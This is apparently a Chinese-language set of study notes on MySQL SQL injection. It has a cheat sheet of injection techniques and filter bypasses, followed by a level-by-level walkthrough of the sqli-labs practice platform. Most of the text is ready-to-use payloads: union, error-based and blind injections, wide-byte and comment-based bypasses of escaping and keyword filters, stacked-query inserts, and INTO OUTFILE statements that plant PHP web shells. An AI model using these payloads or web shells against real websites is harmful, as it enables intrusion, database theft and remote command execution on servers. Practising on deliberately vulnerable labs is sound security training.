预备知识
MySQL 常用语句备忘
-- Default Databases |
注入类型
union 注入
所查询的字段数需与主查询一致
字段数可先用 order by x 来确定
union select 1, 2 from user where id = 1 or 1=1 |
information_schema 注入
存储数据库信息的数据库
数据库名
schemata => schema_name
tables => table_schema
columns => table_schema
表名
tables => table_name
columns => table_name
列名
columns => columns_name
select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- 获取当前数据库中所有表 |
函数报错信息注入
前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端
常用报错函数:updatexml(), extractvalue(), floor() 十种MySQL报错注入 【SQL注入】报错注入姿势总结
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));%23 |
基于函数报错信息获取(select, insert, update, delete)
insert / update / delete 注入
结合函数报错信息,将函数插入到语句中
http header 注入
如 XFF
,referer
观察点:后台收集了请求头中的信息,并存入到数据库中
布尔盲注
结合 and 进行逻辑判断
效率太低,写脚本爆
时间盲注
无显示回显,可在以前的基础上加入 sleep()
语句,若明显延迟,则注入成功
BENCHMARK(count,expr)
执行 count
次的 expr
,如 BENCHMARK(10000000,SHA(‘1’))
即使 sleep
和 benchmark
都被过滤了,但是我们依然可以通过让Mysql进行复杂运算,
以达到延时的效果,比如可以用字段比较多的表来计算笛卡尔积
select count(*) |
还有 get_lock()
利用注入写入后门
前提:开启 secure_file_priv,并且具有写的权限
select 1,2,'<?php system($_GET[1])?>' into outfile 'H:\\a.php'--%20 |
Bypass
检测被过滤的关键词:
fuzz 一波 ASCII 码
id = 1 ^ (length(‘xxx’)=3)
空格
使用注释绕过,/*/ (/\1*/)
使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用 ( ) 包围
select(group_concat(table_name)) |
- 使用符号替代空格
%20 空格 |
引号
select column_name from information_schema.tables where table_name="users" |
如果引号被过滤了,那么上面的where
子句就失效了,此时可以使用十六进制。
users
的十六进制的字符串是7573657273
。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273 |
宽字节绕过
%bf%27 %df%27 %aa%27 |
逗号
substr(), mid()
里的逗号可用 from for
代替
select substr(database(0 from 1 for 1); |
对于 limit
里面的逗号可以使用 offset
绕过
select * from news limit 0,1 |
比较符
大于、小于可用 greatest(), least()
代替,还可以 between and
select * from users where id=1 and ascii(substr(database(),0,1))>64 |
条件连接词
利用符号: |
union, select, where
(1)使用注释符绕过:
//,-- , /**/, #, --+, -- -, ;,%00,--a |
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT |
(3)内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()# |
(4) 双关键字绕过:
id=-1'UNIunionONSeLselectECT1,2,3–- |
(5)科学计数法
id=0e1union |
表名等关键词
以information_schema.tables为例
空格 information_schema . tables
着重号 information</em>schema.tables
特殊符 /!informationschema.tables/
别名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)
注释符
常用注释符:#, --+, /**/
,可以用 ;%00
代替
不用注释符,与后面的语句构造闭合就行,如 ||'1
,恰好与 ’ LIMIT 0,1
闭合
等号
使用 like 、rlike 、regexp
或者 < , >
部署练习平台
- 手工搭建法
git clone https://github.com/Audi-1/sqli-labs.git |
- 简单粗暴法
开始闯关
题目类型
基于从服务器接收到的响应
- 基于错误的SQL注入
- 联合查询的类型
- 堆查询注入
- SQL盲注
- 基于布尔SQL盲注
- 基于时间的SQL盲注
- 基于报错的SQL盲注
基于如何处理输入的SQL查询(数据类型)
- 基于字符串
- 数字或整数为基础的
基于程度和顺序的注入(哪里发生了影响)
一次注入
输入的注入语句对WEB直接产生了影响,出现了结果
二次注入
类似存储型XSS,是指输入提交的语句,无法直接对WEB应用程序产生影响,
通过其它的辅助间接的对WEB产生危害,这样的就被称为是二次注入
基于注入点的位置上的
- 通过用户输入的表单域的注入
- 通过cookie注入
- 通过服务器变量注入(基于头部信息的注入)
Less-1 Error based - Single quotes
?id=-1%27 union select 1, 2, flag from flag%23 |
Less-2 Error based - Double quotes
?id=-1 union select 1, 2, flag from flag%23 |
Less-3 Error based - Single quotes with twist
?id=-1') union select 1, 2, flag from flag%23 |
Less-4 Error based - Double Quotes
?id=-1") union select 1, 2, flag from flag%23 |
Less-5 Double Injection - Single Quotes
二次注入有点懵逼,直接注入没有任何回显,函数报错盲注搞起
?id=11' and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23 |
Less-6 Double Injection - Double Quotes
?id=11" and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23 |
Less-7 Dump into outfile
?id=1 union select 1,2,'<?php @eval($_POST[1])?>' into outfile 'D:\\a.php'; |
Less-8 Blind - Boolean Based - Single Quotes
没有任何报错信息,无法直接根据报错注入,时间盲注
id=1' and if(ascii(substr((select username from users limit 0, 1), 1, 1))=68 ,1 , SLEEP(5) --+ |
Less-9、Less-10 这两个与 8 类似
Less-11 Error Based - Single quotes
uname=-1' union select 1,flag from flag#&passwd=&submit=Submit |
Less-12
uname=-1") union select 1,flag from flag#&passwd=&submit=Submit |
Less-13
发现有报错信息,尝试报错注入
uname=-1') and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23&passwd=&submit=Submit |
Less-14
双引号
uname=1" and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23&passwd=&submit=Submit |
Less-15 Less-16
Less-17
利用 update 注入,有明显的报错信息,可以报错注入,并且没有验证之前的密码
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit |
Less-18 Header Injection - Uagent field - Error based
UA 注入,要先登录才有回显,注意闭合
' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ' |
Less-19 Header Injection - Referer field - Error based
Less-20 Cookie injection - Uagent field - Error based
cookie 注入,同样有报错,改了cookie后不会影响登录状态吗?
Less-21 Less-22 与前面的类似
Less-23
发现 #, --
被过滤,可换 ;%00
,或者直接闭合单引号
?id=-1' union select 1,database(),'3 |
Less-24 Second Oder Injections Real treat - Stored injection
二次排序注入,将可能导致 sql 注入的字符先存入数据库,当再次调用这个恶意构造的字符时,就可以触发注入。
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pa'; |
对于本题的 sql
语句来说,如果先注册一个 admin'#
用户,此用户改密码的时候也修改了 admin
的密码。
所以有无严格控制用户的输入对安全影响特别大。
Less-25 Error Based - All your OR & AND belong to us - integer based
题意是说过滤了 or, and
,并且展示了过滤后的字符串在下方,同时也有报错,所以方法很多
?id=-2' union select 1, database(), 3%23 |
or, and
可以用 ||, &&
代替,本题还可用 o/**/r
或者 oorr
Less-25a Blind Based - All your OR & AND belong to us - integer based
与 Less-25 大同小异
Less-26 Error based - All your SPACES and COMMENTS belong to us(待研究)
尝试了所有的空白符,居然都不行,有个 %a0
没被过滤,但是不解析,不过 Linux 上可以成功解析
function blacklist($id) { |
payload:
?id=0%27union%a0select%a01,database(),3;%00 -- linux(phpstudy上不解析,待研究) |
Less-26a Blind based - All your SPACES and COMMENTS belong to us
多了个 ()
,没有报错回显,依然 %a0
,也可以盲注
?id=1%27)union(select(1),database(),3);%00 |
Less-27 Error based - All your UNION and SELECT belong to us
function blacklist($id) { |
select, union, 空格
过滤不彻底
?id=-1%27and(extractvalue(1,concat(0x7e,(seLect%0aflag%0afrom%0aflag),0x7e)));%00 |
Less-27a
?id=0"%0aUnIon%0aSElecT%0a1,(SeLect%0aflag%0afrom%0aflag),"3 |
Less-28
preg_replace('/union\s+select/i', "", $id); //Strip out UNION & SELECT. |
不能同时出现 union select
,还是遇到了之前那个 %a0
不解析的问题,但是可以 union all select
,科学计数法 0e1union
也不行
id=0')%0aunion%0aall%0aseLect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database();%00 |
如果可以报错注入的话
?id=2')%0aand%0a(extractvalue(1,concat(0x7e,(seLect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()),0x7e)));%00 |
Less-28a
与 28 差不多,并且过滤还减少了。。
Less-29
一旦输入不是数字,直接跳到 hacked.php
,一看源码可知存在 HPP
即参数污染,这实际上是一个逻辑问题。
$qs = $_SERVER['QUERY_STRING']; |
这题一旦发现是参数污染,即入无人之境,毫无过滤。
?id=2&id=0' union select 1,2,3%23 |
Less-30
与 29 同,只是拼接了一个 “”
。
Less-31
在前面的基础上又加了一个 ()
。
Less-32,33,34,35,36,37六关全部是针对 ’
和 \
的过滤,可用宽字节绕过
原理:mysql
在使用 gbk
编码的时候,会将两个字符当做一个汉字。例如 %aa%5c
,前一个 ASCII
码超过 128
才会达到汉字的范围。
Less-32 Bypass custom filter adding slashes to dangerous chars
干掉 slash 有如下方法
1、%df
吃掉 \
具体的原因是 urlencode(‘) = %5c%27
,我们在 %5c%27
前面添加 %df
,形成 %df%5c%27
,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时 %df%5c
就是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’
中的 \
过滤掉,例如可以构造 %**%5c%5c%27
的情况,后面的 %5c
会被前面的 %5c
给注释掉。
?id=0%df' union select 1,2,3%23 |
那第二种方法?
Less-33 Bypass addslashes()
Addslashes()
函数依旧可以利用 %df
进行绕过。
下列字符将被加上 \ 进行转义 |
Notice:使用 addslashes()
,我们需要将 mysql_query
设置为 binary
的方式,才能防御此漏洞。
mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn); |
Less-34
此处是 post
,将 utf-8
转换为 utf-16
或 utf-32
,例如将 ‘
转为 utf-16
为 �’
uname=�' or 1#&passwd=admin&submit=Submit |
Less-35
35 关和 33关是大致的一样的,唯一的区别在于 sql
语句的不同。
SELECT * FROM users WHERE id=$id LIMIT 0,1 |
没有 ‘
,就没必考虑 addslashes()
函数的意义了
Less-36
$string = mysql_real_escape_string($string); |
依然宽字节注入
?id=-1%EF%BF%BD%27union%20select%201,user(),3--+ |
Notice:
在使用 mysql_real_escape_string()
时,需要将 mysql
设置为 gbk
即可。
mysql_set_charset(‘gbk’,’$conn’) |
Less-37
利用 34 关的 payload
以下正式进入堆叠注入,即
select * from users where id=1; show tables; |
由于 sql
语句是以 ;
分隔,所以在查询语句的基础,我们还可以加多条语句。
Less-38
没有什么过滤,可以为所欲为,比如直接插入数据
id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+ |
Less-39
同 38,只是没有 ‘’
。
Less-40
没有任何防护,得到字段名之后就可以直接往里插入数据
id=1;%20insert%20into%20users(id,username,password)%20values%20(%27110%27,%27less41%27,%27hello%27)%23 |
做到这里有点无聊就没做了,待更新。
Less-41
Less-42
Less-43
Less-44
Less-45
Less-46
order by
配合 rand()